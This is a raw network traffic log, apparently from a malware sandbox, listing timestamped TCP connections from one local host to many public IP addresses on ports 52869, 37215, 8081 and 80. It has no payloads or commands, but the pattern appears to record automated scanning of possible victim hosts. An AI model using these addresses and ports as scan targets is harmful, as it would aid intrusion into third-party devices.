Jul 20, 2024 23:05:44.962728024 CEST	43695	52869	192.168.2.13	221.162.28.9
Jul 20, 2024 23:05:44.963385105 CEST	52869	32862	54.54.215.85	192.168.2.13
Jul 20, 2024 23:05:44.963788033 CEST	80	51090	95.55.65.39	192.168.2.13
Jul 20, 2024 23:05:44.964195013 CEST	37215	46890	41.195.213.199	192.168.2.13
Jul 20, 2024 23:05:44.964238882 CEST	8081	56956	172.212.47.121	192.168.2.13
Jul 20, 2024 23:05:44.964373112 CEST	56956	8081	192.168.2.13	172.212.47.121
Jul 20, 2024 23:05:44.964374065 CEST	44108	52869	192.168.2.13	171.175.125.48
Jul 20, 2024 23:05:44.964731932 CEST	52869	60618	159.113.67.133	192.168.2.13
Jul 20, 2024 23:05:44.964776993 CEST	60618	52869	192.168.2.13	159.113.67.133
Jul 20, 2024 23:05:44.965146065 CEST	57444	37215	192.168.2.13	41.211.96.69
Jul 20, 2024 23:05:44.965507030 CEST	52869	36334	142.17.9.107	192.168.2.13
Jul 20, 2024 23:05:44.965521097 CEST	43695	52869	192.168.2.13	198.182.204.144
Jul 20, 2024 23:05:44.965522051 CEST	43695	52869	192.168.2.13	186.218.138.5
Jul 20, 2024 23:05:44.965522051 CEST	43695	52869	192.168.2.13	120.195.96.99
Jul 20, 2024 23:05:44.965522051 CEST	43695	52869	192.168.2.13	17.255.194.179
Jul 20, 2024 23:05:44.965522051 CEST	43695	52869	192.168.2.13	14.206.175.181
Jul 20, 2024 23:05:44.965522051 CEST	43695	52869	192.168.2.13	23.185.123.183
Jul 20, 2024 23:05:44.965522051 CEST	43695	52869	192.168.2.13	97.55.202.224
Jul 20, 2024 23:05:44.965522051 CEST	43695	52869	192.168.2.13	165.8.233.31
Jul 20, 2024 23:05:44.966012955 CEST	59598	52869	192.168.2.13	44.60.208.210
Jul 20, 2024 23:05:44.966932058 CEST	43695	52869	192.168.2.13	66.25.107.242
Jul 20, 2024 23:05:44.966932058 CEST	43695	52869	192.168.2.13	195.35.84.140
Jul 20, 2024 23:05:44.966933012 CEST	43695	52869	192.168.2.13	79.98.75.118
Jul 20, 2024 23:05:44.966933012 CEST	43695	52869	192.168.2.13	66.148.71.193
Jul 20, 2024 23:05:44.966933012 CEST	43695	52869	192.168.2.13	112.53.172.4
Jul 20, 2024 23:05:44.966933012 CEST	43695	52869	192.168.2.13	185.29.50.205
Jul 20, 2024 23:05:44.966933012 CEST	43695	52869	192.168.2.13	117.209.196.227
Jul 20, 2024 23:05:44.966933012 CEST	43695	52869	192.168.2.13	36.167.45.7
Jul 20, 2024 23:05:44.967216015 CEST	37215	34862	41.233.21.101	192.168.2.13
Jul 20, 2024 23:05:44.967495918 CEST	43695	52869	192.168.2.13	41.227.8.112
Jul 20, 2024 23:05:44.967497110 CEST	43695	52869	192.168.2.13	125.168.252.137
Jul 20, 2024 23:05:44.967497110 CEST	43695	52869	192.168.2.13	80.98.23.236
Jul 20, 2024 23:05:44.967497110 CEST	43695	52869	192.168.2.13	39.177.34.23
Jul 20, 2024 23:05:44.967497110 CEST	43695	52869	192.168.2.13	113.182.61.31
Jul 20, 2024 23:05:44.967497110 CEST	43695	52869	192.168.2.13	210.232.116.253
Jul 20, 2024 23:05:44.967497110 CEST	43695	52869	192.168.2.13	186.196.162.178
Jul 20, 2024 23:05:44.967497110 CEST	43695	52869	192.168.2.13	18.124.189.188
Jul 20, 2024 23:05:44.967540026 CEST	37215	54004	41.5.59.32	192.168.2.13
Jul 20, 2024 23:05:44.967700005 CEST	42788	80	192.168.2.13	95.62.175.224
Jul 20, 2024 23:05:44.967700005 CEST	42788	80	192.168.2.13	95.62.175.224
Jul 20, 2024 23:05:44.968139887 CEST	80	47360	95.8.43.97	192.168.2.13
Jul 20, 2024 23:05:44.968271017 CEST	37215	59046	192.124.50.61	192.168.2.13
Jul 20, 2024 23:05:44.968363047 CEST	41866	37215	192.168.2.13	105.176.207.17
Jul 20, 2024 23:05:44.968364000 CEST	47360	80	192.168.2.13	95.8.43.97
Jul 20, 2024 23:05:44.968363047 CEST	36334	52869	192.168.2.13	142.17.9.107
Jul 20, 2024 23:05:44.968364000 CEST	46890	37215	192.168.2.13	41.195.213.199
Jul 20, 2024 23:05:44.968369961 CEST	51090	80	192.168.2.13	95.55.65.39
Jul 20, 2024 23:05:44.968369961 CEST	54004	37215	192.168.2.13	41.5.59.32
Jul 20, 2024 23:05:44.968369961 CEST	32862	52869	192.168.2.13	54.54.215.85
Jul 20, 2024 23:05:44.968425989 CEST	43695	52869	192.168.2.13	201.69.144.135
Jul 20, 2024 23:05:44.968425989 CEST	43695	52869	192.168.2.13	83.245.146.137
Jul 20, 2024 23:05:44.968425989 CEST	43695	52869	192.168.2.13	20.42.151.178
Jul 20, 2024 23:05:44.968425989 CEST	43695	52869	192.168.2.13	74.148.29.27
Jul 20, 2024 23:05:44.968425989 CEST	43695	52869	192.168.2.13	108.24.61.86
Jul 20, 2024 23:05:44.968425989 CEST	43695	52869	192.168.2.13	207.201.173.191
Jul 20, 2024 23:05:44.968425989 CEST	43695	52869	192.168.2.13	86.245.135.20
Jul 20, 2024 23:05:44.968425989 CEST	43695	52869	192.168.2.13	31.62.105.253
Jul 20, 2024 23:05:44.968485117 CEST	59046	37215	192.168.2.13	192.124.50.61
Jul 20, 2024 23:05:44.968508005 CEST	80	35528	95.124.107.190	192.168.2.13
Jul 20, 2024 23:05:44.968580008 CEST	47616	80	192.168.2.13	95.115.50.80
Jul 20, 2024 23:05:44.968580008 CEST	35566	8081	192.168.2.13	216.129.165.243
Jul 20, 2024 23:05:44.968954086 CEST	35528	80	192.168.2.13	95.124.107.190
Jul 20, 2024 23:05:44.970175982 CEST	43292	80	192.168.2.13	95.62.175.224
Jul 20, 2024 23:05:44.970398903 CEST	59752	52869	192.168.2.13	66.56.180.47
Jul 20, 2024 23:05:44.970541000 CEST	37154	37215	192.168.2.13	197.219.0.80
Jul 20, 2024 23:05:44.970715046 CEST	37215	57444	41.211.96.69	192.168.2.13
Jul 20, 2024 23:05:44.970783949 CEST	57444	37215	192.168.2.13	41.211.96.69
Jul 20, 2024 23:05:44.970988035 CEST	52869	60618	159.113.67.133	192.168.2.13
Jul 20, 2024 23:05:44.971606016 CEST	52869	59598	44.60.208.210	192.168.2.13
Jul 20, 2024 23:05:44.971668005 CEST	59598	52869	192.168.2.13	44.60.208.210
Jul 20, 2024 23:05:44.972367048 CEST	60618	52869	192.168.2.13	159.113.67.133
Jul 20, 2024 23:05:44.972417116 CEST	43695	52869	192.168.2.13	210.195.27.251
Jul 20, 2024 23:05:44.972417116 CEST	43695	52869	192.168.2.13	164.17.192.126
Jul 20, 2024 23:05:44.972417116 CEST	43695	52869	192.168.2.13	164.4.144.37
Jul 20, 2024 23:05:44.972417116 CEST	43695	52869	192.168.2.13	200.7.234.208
Jul 20, 2024 23:05:44.972418070 CEST	43695	52869	192.168.2.13	170.73.244.149
Jul 20, 2024 23:05:44.972418070 CEST	43695	52869	192.168.2.13	113.231.165.163
Jul 20, 2024 23:05:44.972899914 CEST	34862	37215	192.168.2.13	41.233.21.101
Jul 20, 2024 23:05:44.972899914 CEST	37050	80	192.168.2.13	95.122.50.119
Jul 20, 2024 23:05:44.972899914 CEST	37050	80	192.168.2.13	95.122.50.119
Jul 20, 2024 23:05:44.972899914 CEST	54108	8081	192.168.2.13	57.163.170.167
Jul 20, 2024 23:05:44.973014116 CEST	80	42788	95.62.175.224	192.168.2.13
Jul 20, 2024 23:05:44.973078012 CEST	80	42788	95.62.175.224	192.168.2.13
Jul 20, 2024 23:05:44.973939896 CEST	80	47616	95.115.50.80	192.168.2.13
Jul 20, 2024 23:05:44.974179029 CEST	43695	52869	192.168.2.13	9.139.56.147
Jul 20, 2024 23:05:44.974179029 CEST	43695	52869	192.168.2.13	154.87.245.26
Jul 20, 2024 23:05:44.974179029 CEST	43695	52869	192.168.2.13	63.76.24.95
Jul 20, 2024 23:05:44.974179029 CEST	43695	52869	192.168.2.13	133.144.12.43
Jul 20, 2024 23:05:44.974179029 CEST	43695	52869	192.168.2.13	111.120.240.190
Jul 20, 2024 23:05:44.974179029 CEST	43695	52869	192.168.2.13	118.176.16.83
Jul 20, 2024 23:05:44.974220037 CEST	37215	59046	192.124.50.61	192.168.2.13
Jul 20, 2024 23:05:44.974622965 CEST	43695	52869	192.168.2.13	182.141.240.250
Jul 20, 2024 23:05:44.974622965 CEST	43695	52869	192.168.2.13	64.12.132.181
Jul 20, 2024 23:05:44.974622965 CEST	43695	52869	192.168.2.13	68.154.119.126
Jul 20, 2024 23:05:44.974622965 CEST	43695	52869	192.168.2.13	174.231.103.163
Jul 20, 2024 23:05:44.974622965 CEST	43695	52869	192.168.2.13	57.15.174.52
Jul 20, 2024 23:05:44.974622965 CEST	43695	52869	192.168.2.13	213.63.189.211
Jul 20, 2024 23:05:44.974622965 CEST	43695	52869	192.168.2.13	25.188.248.37
Jul 20, 2024 23:05:44.974622965 CEST	43695	52869	192.168.2.13	43.3.142.193
Jul 20, 2024 23:05:44.975132942 CEST	49270	52869	192.168.2.13	116.152.21.19
Jul 20, 2024 23:05:44.975140095 CEST	80	35528	95.124.107.190	192.168.2.13
Jul 20, 2024 23:05:44.975141048 CEST	60110	80	192.168.2.13	95.186.32.116
Jul 20, 2024 23:05:44.975141048 CEST	60110	80	192.168.2.13	95.186.32.116
Jul 20, 2024 23:05:44.975142002 CEST	51688	52869	192.168.2.13	121.40.224.141
Jul 20, 2024 23:05:44.975142002 CEST	58504	80	192.168.2.13	95.17.196.163
Jul 20, 2024 23:05:44.975142002 CEST	45182	80	192.168.2.13	95.185.121.56
Jul 20, 2024 23:05:44.975142002 CEST	38320	8081	192.168.2.13	4.113.121.86
Jul 20, 2024 23:05:44.975162983 CEST	43695	52869	192.168.2.13	58.211.234.189
Jul 20, 2024 23:05:44.975162983 CEST	43695	52869	192.168.2.13	132.191.161.103
Jul 20, 2024 23:05:44.975162983 CEST	43695	52869	192.168.2.13	90.176.182.175
Jul 20, 2024 23:05:44.975162983 CEST	43695	52869	192.168.2.13	154.157.195.21
Jul 20, 2024 23:05:44.975162983 CEST	43695	52869	192.168.2.13	108.38.121.208
Jul 20, 2024 23:05:44.975162983 CEST	43695	52869	192.168.2.13	129.44.7.97
Jul 20, 2024 23:05:44.975230932 CEST	8081	35566	216.129.165.243	192.168.2.13
Jul 20, 2024 23:05:44.975457907 CEST	80	43292	95.62.175.224	192.168.2.13
Jul 20, 2024 23:05:44.975652933 CEST	43292	80	192.168.2.13	95.62.175.224
Jul 20, 2024 23:05:44.976082087 CEST	37215	37154	197.219.0.80	192.168.2.13
Jul 20, 2024 23:05:44.976164103 CEST	40314	37215	192.168.2.13	41.253.146.19
Jul 20, 2024 23:05:44.976221085 CEST	37154	37215	192.168.2.13	197.219.0.80
Jul 20, 2024 23:05:44.976221085 CEST	52869	59752	66.56.180.47	192.168.2.13
Jul 20, 2024 23:05:44.976366997 CEST	35528	80	192.168.2.13	95.124.107.190
Jul 20, 2024 23:05:44.976367950 CEST	59046	37215	192.168.2.13	192.124.50.61
Jul 20, 2024 23:05:44.976505041 CEST	37215	57444	41.211.96.69	192.168.2.13
Jul 20, 2024 23:05:44.976917982 CEST	52869	59598	44.60.208.210	192.168.2.13
Jul 20, 2024 23:05:44.977266073 CEST	44674	80	192.168.2.13	95.134.175.82
Jul 20, 2024 23:05:44.977464914 CEST	60812	80	192.168.2.13	95.247.168.194
Jul 20, 2024 23:05:44.977464914 CEST	44808	37215	192.168.2.13	197.218.198.120
Jul 20, 2024 23:05:44.978705883 CEST	80	37050	95.122.50.119	192.168.2.13
Jul 20, 2024 23:05:44.978759050 CEST	80	37050	95.122.50.119	192.168.2.13
Jul 20, 2024 23:05:44.978852034 CEST	8081	54108	57.163.170.167	192.168.2.13
Jul 20, 2024 23:05:44.978892088 CEST	54108	8081	192.168.2.13	57.163.170.167
Jul 20, 2024 23:05:44.979820967 CEST	56096	52869	192.168.2.13	79.205.6.73
Jul 20, 2024 23:05:44.980282068 CEST	52869	49270	116.152.21.19	192.168.2.13
Jul 20, 2024 23:05:44.980326891 CEST	49270	52869	192.168.2.13	116.152.21.19
Jul 20, 2024 23:05:44.980452061 CEST	80	60110	95.186.32.116	192.168.2.13
Jul 20, 2024 23:05:44.980470896 CEST	36722	80	192.168.2.13	95.123.38.121
Jul 20, 2024 23:05:44.980539083 CEST	36212	80	192.168.2.13	95.123.38.121
Jul 20, 2024 23:05:44.980539083 CEST	36212	80	192.168.2.13	95.123.38.121
Jul 20, 2024 23:05:44.980539083 CEST	59598	52869	192.168.2.13	44.60.208.210
Jul 20, 2024 23:05:44.980539083 CEST	57444	37215	192.168.2.13	41.211.96.69
Jul 20, 2024 23:05:44.980865955 CEST	80	60110	95.186.32.116	192.168.2.13
Jul 20, 2024 23:05:44.981549025 CEST	80	43292	95.62.175.224	192.168.2.13
Jul 20, 2024 23:05:44.981554031 CEST	37215	40314	41.253.146.19	192.168.2.13
Jul 20, 2024 23:05:44.981591940 CEST	40314	37215	192.168.2.13	41.253.146.19
Jul 20, 2024 23:05:44.981957912 CEST	52869	51688	121.40.224.141	192.168.2.13
Jul 20, 2024 23:05:44.982034922 CEST	42230	37215	192.168.2.13	114.46.14.97
Jul 20, 2024 23:05:44.982130051 CEST	37215	37154	197.219.0.80	192.168.2.13
Jul 20, 2024 23:05:44.982136011 CEST	8081	38320	4.113.121.86	192.168.2.13
Jul 20, 2024 23:05:44.983176947 CEST	35262	8081	192.168.2.13	58.160.214.99
Jul 20, 2024 23:05:44.983330965 CEST	40676	8081	192.168.2.13	129.203.1.236
Jul 20, 2024 23:05:44.983330965 CEST	58152	37215	192.168.2.13	111.65.179.96
Jul 20, 2024 23:05:44.983330965 CEST	52192	80	192.168.2.13	95.71.68.243
Jul 20, 2024 23:05:44.983330965 CEST	55652	80	192.168.2.13	95.4.226.114
Jul 20, 2024 23:05:44.983331919 CEST	55652	80	192.168.2.13	95.4.226.114
Jul 20, 2024 23:05:44.983331919 CEST	56426	80	192.168.2.13	95.227.200.110
Jul 20, 2024 23:05:44.983331919 CEST	56426	80	192.168.2.13	95.227.200.110
Jul 20, 2024 23:05:44.984364986 CEST	43292	80	192.168.2.13	95.62.175.224
Jul 20, 2024 23:05:44.984638929 CEST	8081	54108	57.163.170.167	192.168.2.13
Jul 20, 2024 23:05:44.984925985 CEST	34778	8081	192.168.2.13	75.117.119.205
Jul 20, 2024 23:05:44.984925985 CEST	56912	80	192.168.2.13	95.227.200.110
Jul 20, 2024 23:05:44.984925985 CEST	53966	8081	192.168.2.13	188.149.188.157
Jul 20, 2024 23:05:44.984925985 CEST	60120	52869	192.168.2.13	221.37.81.113
Jul 20, 2024 23:05:44.984926939 CEST	41418	8081	192.168.2.13	223.216.201.168
Jul 20, 2024 23:05:44.984926939 CEST	50656	80	192.168.2.13	95.203.152.93
Jul 20, 2024 23:05:44.984951019 CEST	52869	56096	79.205.6.73	192.168.2.13
Jul 20, 2024 23:05:44.985065937 CEST	37154	37215	192.168.2.13	197.219.0.80
Jul 20, 2024 23:05:44.985065937 CEST	56096	52869	192.168.2.13	79.205.6.73
Jul 20, 2024 23:05:44.985462904 CEST	52869	49270	116.152.21.19	192.168.2.13
Jul 20, 2024 23:05:44.985754013 CEST	47616	80	192.168.2.13	95.115.50.80
Jul 20, 2024 23:05:44.985754967 CEST	35566	8081	192.168.2.13	216.129.165.243
Jul 20, 2024 23:05:44.985846996 CEST	80	36722	95.123.38.121	192.168.2.13
Jul 20, 2024 23:05:44.985852003 CEST	80	36212	95.123.38.121	192.168.2.13
Jul 20, 2024 23:05:44.985893011 CEST	36722	80	192.168.2.13	95.123.38.121
Jul 20, 2024 23:05:44.986329079 CEST	80	60812	95.247.168.194	192.168.2.13
Jul 20, 2024 23:05:44.986659050 CEST	37215	44808	197.218.198.120	192.168.2.13
Jul 20, 2024 23:05:44.987111092 CEST	37215	40314	41.253.146.19	192.168.2.13
Jul 20, 2024 23:05:44.987370014 CEST	37215	42230	114.46.14.97	192.168.2.13
Jul 20, 2024 23:05:44.987409115 CEST	42230	37215	192.168.2.13	114.46.14.97
Jul 20, 2024 23:05:44.988526106 CEST	8081	35262	58.160.214.99	192.168.2.13
Jul 20, 2024 23:05:44.988581896 CEST	8081	40676	129.203.1.236	192.168.2.13
Jul 20, 2024 23:05:44.988609076 CEST	35262	8081	192.168.2.13	58.160.214.99
Jul 20, 2024 23:05:44.988620996 CEST	54108	8081	192.168.2.13	57.163.170.167
Jul 20, 2024 23:05:44.989207029 CEST	37215	58152	111.65.179.96	192.168.2.13
Jul 20, 2024 23:05:44.989212036 CEST	80	52192	95.71.68.243	192.168.2.13
Jul 20, 2024 23:05:44.989387035 CEST	40314	37215	192.168.2.13	41.253.146.19
Jul 20, 2024 23:05:44.989387035 CEST	49270	52869	192.168.2.13	116.152.21.19
Jul 20, 2024 23:05:44.989447117 CEST	80	55652	95.4.226.114	192.168.2.13
Jul 20, 2024 23:05:44.989450932 CEST	80	55652	95.4.226.114	192.168.2.13
Jul 20, 2024 23:05:44.990026951 CEST	80	56426	95.227.200.110	192.168.2.13
Jul 20, 2024 23:05:44.990031004 CEST	80	56426	95.227.200.110	192.168.2.13
Jul 20, 2024 23:05:44.990041018 CEST	8081	34778	75.117.119.205	192.168.2.13
Jul 20, 2024 23:05:44.990139961 CEST	38248	80	192.168.2.13	95.37.52.245
Jul 20, 2024 23:05:44.990139961 CEST	49420	37215	192.168.2.13	41.166.4.73
Jul 20, 2024 23:05:44.990211964 CEST	80	56912	95.227.200.110	192.168.2.13
Jul 20, 2024 23:05:44.990278959 CEST	8081	53966	188.149.188.157	192.168.2.13
Jul 20, 2024 23:05:44.990288019 CEST	52869	60120	221.37.81.113	192.168.2.13
Jul 20, 2024 23:05:44.990606070 CEST	8081	41418	223.216.201.168	192.168.2.13
Jul 20, 2024 23:05:44.990619898 CEST	80	50656	95.203.152.93	192.168.2.13
Jul 20, 2024 23:05:44.992399931 CEST	52869	56096	79.205.6.73	192.168.2.13
Jul 20, 2024 23:05:44.992697001 CEST	80	36722	95.123.38.121	192.168.2.13
Jul 20, 2024 23:05:44.992795944 CEST	42090	52869	192.168.2.13	201.57.227.248
Jul 20, 2024 23:05:44.992908001 CEST	37215	42230	114.46.14.97	192.168.2.13
Jul 20, 2024 23:05:44.993079901 CEST	59752	52869	192.168.2.13	66.56.180.47
Jul 20, 2024 23:05:44.993079901 CEST	51688	52869	192.168.2.13	121.40.224.141
Jul 20, 2024 23:05:44.993079901 CEST	38320	8081	192.168.2.13	4.113.121.86
Jul 20, 2024 23:05:44.993079901 CEST	43414	80	192.168.2.13	95.101.78.125
Jul 20, 2024 23:05:44.993079901 CEST	43414	80	192.168.2.13	95.101.78.125
Jul 20, 2024 23:05:44.993437052 CEST	43928	80	192.168.2.13	95.101.78.125
Jul 20, 2024 23:05:44.994015932 CEST	8081	35262	58.160.214.99	192.168.2.13
Jul 20, 2024 23:05:44.994282007 CEST	80	47616	95.115.50.80	192.168.2.13
Jul 20, 2024 23:05:44.994925976 CEST	40676	8081	192.168.2.13	129.203.1.236
Jul 20, 2024 23:05:44.994925976 CEST	58152	37215	192.168.2.13	111.65.179.96
Jul 20, 2024 23:05:44.994925976 CEST	52192	80	192.168.2.13	95.71.68.243
Jul 20, 2024 23:05:44.994926929 CEST	34778	8081	192.168.2.13	75.117.119.205
Jul 20, 2024 23:05:44.995021105 CEST	35866	8081	192.168.2.13	123.142.31.182
Jul 20, 2024 23:05:44.996366024 CEST	36722	80	192.168.2.13	95.123.38.121
Jul 20, 2024 23:05:44.996366024 CEST	35262	8081	192.168.2.13	58.160.214.99
Jul 20, 2024 23:05:44.996372938 CEST	42230	37215	192.168.2.13	114.46.14.97
Jul 20, 2024 23:05:44.996473074 CEST	56096	52869	192.168.2.13	79.205.6.73
Jul 20, 2024 23:05:44.997553110 CEST	53986	37215	192.168.2.13	197.5.6.138
Jul 20, 2024 23:05:44.997829914 CEST	57882	80	192.168.2.13	95.224.40.109
Jul 20, 2024 23:05:44.997829914 CEST	57882	80	192.168.2.13	95.224.40.109
Jul 20, 2024 23:05:44.997957945 CEST	52869	42090	201.57.227.248	192.168.2.13
Jul 20, 2024 23:05:44.998370886 CEST	56912	80	192.168.2.13	95.227.200.110
Jul 20, 2024 23:05:44.998370886 CEST	53966	8081	192.168.2.13	188.149.188.157
Jul 20, 2024 23:05:44.998370886 CEST	60120	52869	192.168.2.13	221.37.81.113
Jul 20, 2024 23:05:44.998370886 CEST	41418	8081	192.168.2.13	223.216.201.168
Jul 20, 2024 23:05:44.998370886 CEST	50656	80	192.168.2.13	95.203.152.93
Jul 20, 2024 23:05:44.998390913 CEST	50634	80	192.168.2.13	95.70.247.253
Jul 20, 2024 23:05:44.998610020 CEST	42090	52869	192.168.2.13	201.57.227.248
Jul 20, 2024 23:05:44.998792887 CEST	80	43414	95.101.78.125	192.168.2.13
Jul 20, 2024 23:05:44.998801947 CEST	80	43414	95.101.78.125	192.168.2.13
Jul 20, 2024 23:05:44.998806000 CEST	8081	35566	216.129.165.243	192.168.2.13
Jul 20, 2024 23:05:44.998908997 CEST	52869	59752	66.56.180.47	192.168.2.13
Jul 20, 2024 23:05:44.999392986 CEST	52869	51688	121.40.224.141	192.168.2.13
Jul 20, 2024 23:05:44.999397993 CEST	8081	38320	4.113.121.86	192.168.2.13
Jul 20, 2024 23:05:45.000227928 CEST	8081	35866	123.142.31.182	192.168.2.13
Jul 20, 2024 23:05:45.000354052 CEST	35866	8081	192.168.2.13	123.142.31.182
Jul 20, 2024 23:05:45.000375986 CEST	8081	40676	129.203.1.236	192.168.2.13
Jul 20, 2024 23:05:45.000576973 CEST	37215	58152	111.65.179.96	192.168.2.13
Jul 20, 2024 23:05:45.000778913 CEST	80	52192	95.71.68.243	192.168.2.13
Jul 20, 2024 23:05:45.001442909 CEST	58398	80	192.168.2.13	95.224.40.109
Jul 20, 2024 23:05:45.001812935 CEST	47616	80	192.168.2.13	95.115.50.80
Jul 20, 2024 23:05:45.001812935 CEST	51688	52869	192.168.2.13	121.40.224.141
Jul 20, 2024 23:05:45.001812935 CEST	59752	52869	192.168.2.13	66.56.180.47
Jul 20, 2024 23:05:45.001812935 CEST	38320	8081	192.168.2.13	4.113.121.86
Jul 20, 2024 23:05:45.001812935 CEST	35566	8081	192.168.2.13	216.129.165.243
Jul 20, 2024 23:05:45.001812935 CEST	52694	52869	192.168.2.13	69.105.43.224
Jul 20, 2024 23:05:45.002389908 CEST	37768	80	192.168.2.13	95.123.15.205
Jul 20, 2024 23:05:45.002389908 CEST	37768	80	192.168.2.13	95.123.15.205
Jul 20, 2024 23:05:45.003077030 CEST	80	43928	95.101.78.125	192.168.2.13
Jul 20, 2024 23:05:45.003082037 CEST	80	38248	95.37.52.245	192.168.2.13
Jul 20, 2024 23:05:45.003087044 CEST	37215	53986	197.5.6.138	192.168.2.13
Jul 20, 2024 23:05:45.003323078 CEST	53986	37215	192.168.2.13	197.5.6.138
Jul 20, 2024 23:05:45.003323078 CEST	43928	80	192.168.2.13	95.101.78.125
Jul 20, 2024 23:05:45.003477097 CEST	37215	49420	41.166.4.73	192.168.2.13
Jul 20, 2024 23:05:45.003482103 CEST	80	57882	95.224.40.109	192.168.2.13
Jul 20, 2024 23:05:45.003813028 CEST	80	57882	95.224.40.109	192.168.2.13
Jul 20, 2024 23:05:45.003823042 CEST	8081	34778	75.117.119.205	192.168.2.13
Jul 20, 2024 23:05:45.003899097 CEST	36106	80	192.168.2.13	95.239.165.65
Jul 20, 2024 23:05:45.004059076 CEST	80	56912	95.227.200.110	192.168.2.13
Jul 20, 2024 23:05:45.004070997 CEST	80	50634	95.70.247.253	192.168.2.13
Jul 20, 2024 23:05:45.004264116 CEST	8081	53966	188.149.188.157	192.168.2.13
Jul 20, 2024 23:05:45.004270077 CEST	52869	60120	221.37.81.113	192.168.2.13
Jul 20, 2024 23:05:45.004388094 CEST	53966	8081	192.168.2.13	188.149.188.157
Jul 20, 2024 23:05:45.004388094 CEST	58152	37215	192.168.2.13	111.65.179.96
Jul 20, 2024 23:05:45.004388094 CEST	60120	52869	192.168.2.13	221.37.81.113
Jul 20, 2024 23:05:45.004388094 CEST	34778	8081	192.168.2.13	75.117.119.205
Jul 20, 2024 23:05:45.004388094 CEST	56912	80	192.168.2.13	95.227.200.110
Jul 20, 2024 23:05:45.004388094 CEST	52192	80	192.168.2.13	95.71.68.243
Jul 20, 2024 23:05:45.004446983 CEST	50448	37215	192.168.2.13	41.60.209.210
Jul 20, 2024 23:05:45.004591942 CEST	52869	42090	201.57.227.248	192.168.2.13
Jul 20, 2024 23:05:45.004880905 CEST	8081	41418	223.216.201.168	192.168.2.13
Jul 20, 2024 23:05:45.004885912 CEST	80	50656	95.203.152.93	192.168.2.13
Jul 20, 2024 23:05:45.005383968 CEST	60306	80	192.168.2.13	95.143.222.132
Jul 20, 2024 23:05:45.005383968 CEST	51992	80	192.168.2.13	95.239.206.180
Jul 20, 2024 23:05:45.005383968 CEST	57630	80	192.168.2.13	95.128.116.2
Jul 20, 2024 23:05:45.005383968 CEST	57630	80	192.168.2.13	95.128.116.2
Jul 20, 2024 23:05:45.005414963 CEST	40676	8081	192.168.2.13	129.203.1.236
Jul 20, 2024 23:05:45.006133080 CEST	8081	35866	123.142.31.182	192.168.2.13
Jul 20, 2024 23:05:45.006743908 CEST	38288	80	192.168.2.13	95.123.15.205
Jul 20, 2024 23:05:45.006819010 CEST	80	58398	95.224.40.109	192.168.2.13
Jul 20, 2024 23:05:45.006954908 CEST	54942	8081	192.168.2.13	145.69.183.12
Jul 20, 2024 23:05:45.007097960 CEST	58102	80	192.168.2.13	95.128.116.2
Jul 20, 2024 23:05:45.007097960 CEST	35614	37215	192.168.2.13	197.228.9.181
Jul 20, 2024 23:05:45.007097960 CEST	59768	52869	192.168.2.13	103.1.126.231
Jul 20, 2024 23:05:45.007098913 CEST	35932	80	192.168.2.13	95.139.27.54
Jul 20, 2024 23:05:45.007649899 CEST	80	37768	95.123.15.205	192.168.2.13
Jul 20, 2024 23:05:45.007806063 CEST	80	37768	95.123.15.205	192.168.2.13
Jul 20, 2024 23:05:45.008613110 CEST	58398	80	192.168.2.13	95.224.40.109
Jul 20, 2024 23:05:45.008613110 CEST	38934	52869	192.168.2.13	89.229.96.227
Jul 20, 2024 23:05:45.008613110 CEST	45508	8081	192.168.2.13	145.24.55.142
Jul 20, 2024 23:05:45.008613110 CEST	42090	52869	192.168.2.13	201.57.227.248
Jul 20, 2024 23:05:45.008783102 CEST	37215	53986	197.5.6.138	192.168.2.13
Jul 20, 2024 23:05:45.009113073 CEST	37484	80	192.168.2.13	95.58.237.131
Jul 20, 2024 23:05:45.009113073 CEST	37484	80	192.168.2.13	95.58.237.131
Jul 20, 2024 23:05:45.009541988 CEST	56804	80	192.168.2.13	95.81.214.18
Jul 20, 2024 23:05:45.009541988 CEST	56804	80	192.168.2.13	95.81.214.18
Jul 20, 2024 23:05:45.009541988 CEST	57300	80	192.168.2.13	95.81.214.18
Jul 20, 2024 23:05:45.009541988 CEST	35028	80	192.168.2.13	95.124.107.190
Jul 20, 2024 23:05:45.009541988 CEST	35028	80	192.168.2.13	95.124.107.190
Jul 20, 2024 23:05:45.009541988 CEST	50154	80	192.168.2.13	95.203.152.93
Jul 20, 2024 23:05:45.010935068 CEST	50154	80	192.168.2.13	95.203.152.93
Jul 20, 2024 23:05:45.010936022 CEST	54340	8081	192.168.2.13	137.123.243.235
Jul 20, 2024 23:05:45.010936022 CEST	37556	80	192.168.2.13	95.122.50.119
Jul 20, 2024 23:05:45.010936022 CEST	34742	8081	192.168.2.13	164.112.8.185
Jul 20, 2024 23:05:45.011009932 CEST	80	43928	95.101.78.125	192.168.2.13
Jul 20, 2024 23:05:45.011440992 CEST	52869	52694	69.105.43.224	192.168.2.13
Jul 20, 2024 23:05:45.011456966 CEST	37215	50448	41.60.209.210	192.168.2.13
Jul 20, 2024 23:05:45.012204885 CEST	50448	37215	192.168.2.13	41.60.209.210
Jul 20, 2024 23:05:45.012288094 CEST	80	38288	95.123.15.205	192.168.2.13
Jul 20, 2024 23:05:45.012303114 CEST	80	57630	95.128.116.2	192.168.2.13
Jul 20, 2024 23:05:45.012458086 CEST	53986	37215	192.168.2.13	197.5.6.138
Jul 20, 2024 23:05:45.012458086 CEST	43928	80	192.168.2.13	95.101.78.125
Jul 20, 2024 23:05:45.012521029 CEST	80	57630	95.128.116.2	192.168.2.13
Jul 20, 2024 23:05:45.012676954 CEST	60812	80	192.168.2.13	95.247.168.194
Jul 20, 2024 23:05:45.012676954 CEST	44808	37215	192.168.2.13	197.218.198.120
Jul 20, 2024 23:05:45.012900114 CEST	8081	54942	145.69.183.12	192.168.2.13
Jul 20, 2024 23:05:45.013231993 CEST	80	58102	95.128.116.2	192.168.2.13
Jul 20, 2024 23:05:45.013731003 CEST	52694	52869	192.168.2.13	69.105.43.224
Jul 20, 2024 23:05:45.013731003 CEST	50656	80	192.168.2.13	95.203.152.93
Jul 20, 2024 23:05:45.014138937 CEST	37215	35614	197.228.9.181	192.168.2.13
Jul 20, 2024 23:05:45.014148951 CEST	52869	38934	89.229.96.227	192.168.2.13
Jul 20, 2024 23:05:45.014615059 CEST	52869	59768	103.1.126.231	192.168.2.13
Jul 20, 2024 23:05:45.014620066 CEST	8081	45508	145.24.55.142	192.168.2.13
Jul 20, 2024 23:05:45.014631033 CEST	80	37484	95.58.237.131	192.168.2.13
Jul 20, 2024 23:05:45.014851093 CEST	80	35932	95.139.27.54	192.168.2.13
Jul 20, 2024 23:05:45.014867067 CEST	80	37484	95.58.237.131	192.168.2.13
